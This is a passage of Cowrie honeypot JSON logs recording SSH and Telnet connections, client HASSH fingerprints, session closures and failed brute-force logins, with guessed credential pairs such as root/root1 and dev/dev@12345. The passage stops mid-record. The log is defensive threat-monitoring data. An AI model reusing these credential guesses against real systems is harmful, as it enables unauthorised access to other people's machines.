{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:19.648525Z","src_ip":"20.205.18.79","session":"21e916d0695d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev@12345","message":"login attempt [dev/dev@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:20.568248Z","src_ip":"20.205.18.79","session":"21e916d0695d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:21.793987Z","src_ip":"20.205.18.79","session":"21e916d0695d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.174.224","src_port":34028,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f38805d9472","protocol":"ssh","message":"New connection: 43.165.174.224:34028 (159.203.135.109:22) [session: 2f38805d9472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:36.674293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:36.678262Z","src_ip":"43.165.174.224","session":"2f38805d9472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:36.843480Z","src_ip":"43.165.174.224","session":"2f38805d9472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:37.535305Z","src_ip":"43.165.174.224","session":"2f38805d9472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53038,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e15965200eb","protocol":"telnet","message":"New connection: 69.4.83.194:53038 (159.203.135.109:23) [session: 6e15965200eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:37.933553Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:38.704273Z","src_ip":"43.165.174.224","session":"2f38805d9472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.286545753479004,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:39.475031Z","src_ip":"69.4.83.194","session":"16529c292aeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":53158,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dbaf7dba52b","protocol":"ssh","message":"New connection: 37.233.85.71:53158 (159.203.135.109:22) [session: 5dbaf7dba52b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:41.914439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:41.919675Z","src_ip":"37.233.85.71","session":"5dbaf7dba52b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:42.021077Z","src_ip":"37.233.85.71","session":"5dbaf7dba52b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:42.323351Z","src_ip":"37.233.85.71","session":"5dbaf7dba52b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":77.75143575668335,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:42.865268Z","src_ip":"178.128.93.180","session":"5b7328e48b78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:43.425693Z","src_ip":"37.233.85.71","session":"5dbaf7dba52b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.118335008621216,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:43:51.514677Z","src_ip":"69.4.83.194","session":"2172c24120ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":53694,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b4cfd2ff0a8","protocol":"ssh","message":"New connection: 85.11.167.46:53694 (10.17.0.5:22) [session: 8b4cfd2ff0a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:44:04.250418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:44:04.261340Z","src_ip":"85.11.167.46","session":"8b4cfd2ff0a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:44:04.346276Z","src_ip":"85.11.167.46","session":"8b4cfd2ff0a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1","message":"login attempt [root/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:44:04.603753Z","src_ip":"85.11.167.46","session":"8b4cfd2ff0a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:44:05.691856Z","src_ip":"85.11.167.46","session":"8b4cfd2ff0a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.591734647750854,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:44:14.525194Z","src_ip":"69.4.83.194","session":"6e15965200eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38206,"dst_ip":"159.203.135.109","dst_port":23,"session":"d123116747d9","protocol":"telnet","message":"New connection: 69.4.83.194:38206 (159.203.135.109:23) [session: d123116747d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:44:19.504390Z"}
{"eventid":"cowrie.session.closed","duration":0.28491759300231934,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:44:19.789186Z","src_ip":"69.4.83.194","session":"d123116747d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":55758,"dst_ip":"10.17.0.5","dst_port":23,"session":"28c74e109114","protocol":"telnet","message":"New connection: 178.128.93.180:55758 (10.17.0.5:23) [session: 28c74e109114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:44:42.403459Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":48586,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c856a99c6c9","protocol":"telnet","message":"New connection: 69.4.83.194:48586 (159.203.135.109:23) [session: 3c856a99c6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:44:47.188035Z"}
{"eventid":"cowrie.session.closed","duration":0.7131686210632324,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:44:47.901112Z","src_ip":"69.4.83.194","session":"3c856a99c6c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":47022,"dst_ip":"159.203.135.109","dst_port":22,"session":"61a9792fdff4","protocol":"ssh","message":"New connection: 193.37.70.224:47022 (159.203.135.109:22) [session: 61a9792fdff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:13.747787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:13.753343Z","src_ip":"193.37.70.224","session":"61a9792fdff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:13.842582Z","src_ip":"193.37.70.224","session":"61a9792fdff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12061992","message":"login attempt [root/12061992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:14.122432Z","src_ip":"193.37.70.224","session":"61a9792fdff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:15.215824Z","src_ip":"193.37.70.224","session":"61a9792fdff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":37860,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd9a1df3a6c","protocol":"ssh","message":"New connection: 103.27.238.120:37860 (10.17.0.5:22) [session: ebd9a1df3a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:26.935917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:26.941036Z","src_ip":"103.27.238.120","session":"ebd9a1df3a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":39892,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9d41b6d7e69","protocol":"ssh","message":"New connection: 103.27.238.116:39892 (10.17.0.5:22) [session: b9d41b6d7e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:27.092595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:27.097311Z","src_ip":"103.27.238.116","session":"b9d41b6d7e69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:27.216881Z","src_ip":"103.27.238.120","session":"ebd9a1df3a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:27.358605Z","src_ip":"103.27.238.116","session":"b9d41b6d7e69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000a","message":"login attempt [root/00000000a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:28.043063Z","src_ip":"103.27.238.120","session":"ebd9a1df3a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"juliadronina1996","message":"login attempt [root/juliadronina1996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:28.136171Z","src_ip":"103.27.238.116","session":"b9d41b6d7e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:29.321195Z","src_ip":"103.27.238.120","session":"ebd9a1df3a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:29.396607Z","src_ip":"103.27.238.116","session":"b9d41b6d7e69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40446,"dst_ip":"159.203.135.109","dst_port":23,"session":"0eb9c193cc8a","protocol":"telnet","message":"New connection: 69.4.83.194:40446 (159.203.135.109:23) [session: 0eb9c193cc8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:32.582171Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":42826,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e1e6de21009","protocol":"ssh","message":"New connection: 109.172.54.111:42826 (159.203.135.109:22) [session: 0e1e6de21009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:35.316084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:35.321117Z","src_ip":"109.172.54.111","session":"0e1e6de21009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-